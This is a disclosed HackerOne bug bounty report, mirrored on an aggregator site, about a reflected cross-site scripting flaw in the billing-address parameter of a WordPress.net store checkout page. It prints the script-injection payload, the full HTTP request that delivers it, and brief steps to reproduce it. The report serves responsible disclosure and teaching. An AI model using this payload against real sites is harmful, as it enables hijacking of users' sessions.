Skip to content
XSS Disclosed report Beginner

xss - reflected

arunthelegion Follow

Originally disclosed on HackerOne

  • Triaged in 6 hours
  • Fixed in 33 hours
  • Paid in 34 hours
  • Disclosed after 5 days

vulnerable url: http://masterplan.wordpress.net/store/checkout/

payload: 1 Main Streetzbn0b"><script>alert(document.cookie)</script>k8ez0

vulnerable parameter: billing-address

Request:

POST /store/checkout/ HTTP/1.1 Host: masterplan.wordpress.net Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: http://masterplan.wordpress.net/store/checkout/ Content-Type: application/x-www-form-urlencoded Content-Length: 814 Cookie: PHPSESSID=a040c364fca0ec1d75201d8aaee61546; wordpress_test_cookie=WP+Cookie+check

billing%5baddress%5d=1%20Main%20Streetzbn0b%22%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3ek8ez0&shipping%5bzip%5d=36310&billing%5bcountry%5d=AR&shipping%5baddress2%5d=1+Main+Street&payment%5bcardNumber%[email protected]&shipping%5bfirstName%5d=Peter&billing%5blastName%5d=Winter&shipping%5bcountry%5d=AR&payment%5bcardExpirationYear%5d=2018&billing%5bcity%5d=Winterville&billing%5bzip%5d=36310&shipping%5bcity%5d=Winterville&billing%5baddress2%5d=1+Main+Street&shipping%5blastName%5d=Winter&payment%5bsecurityId%[email protected]&shipping%5baddress%5d=1+Main+Street&payment%5bcardExpirationMonth%5d=01&payment%5bphone%5d=555-555-0199&payment%5bcardType%5d=Mastercard&billing%5bfirstName%5d=Peter&phpurchase-action=paypalprocheckout&sameAsBilling=on&payment%5bemail%[email protected]

Steps to reproduce:

  1. get the request in burp repeater
  2. see the response in browser
  3. it will prompt you the session id.

Impact

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Attachments

xss_wp_high.PNG
xss_wp_high.PNG From the original on HackerOne

The original report as published on HackerOne, by arunthelegion. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A low-severity XSS bug in *.wordpress.net. HackerOne made it public on 24 July 2018.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from WordPress

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.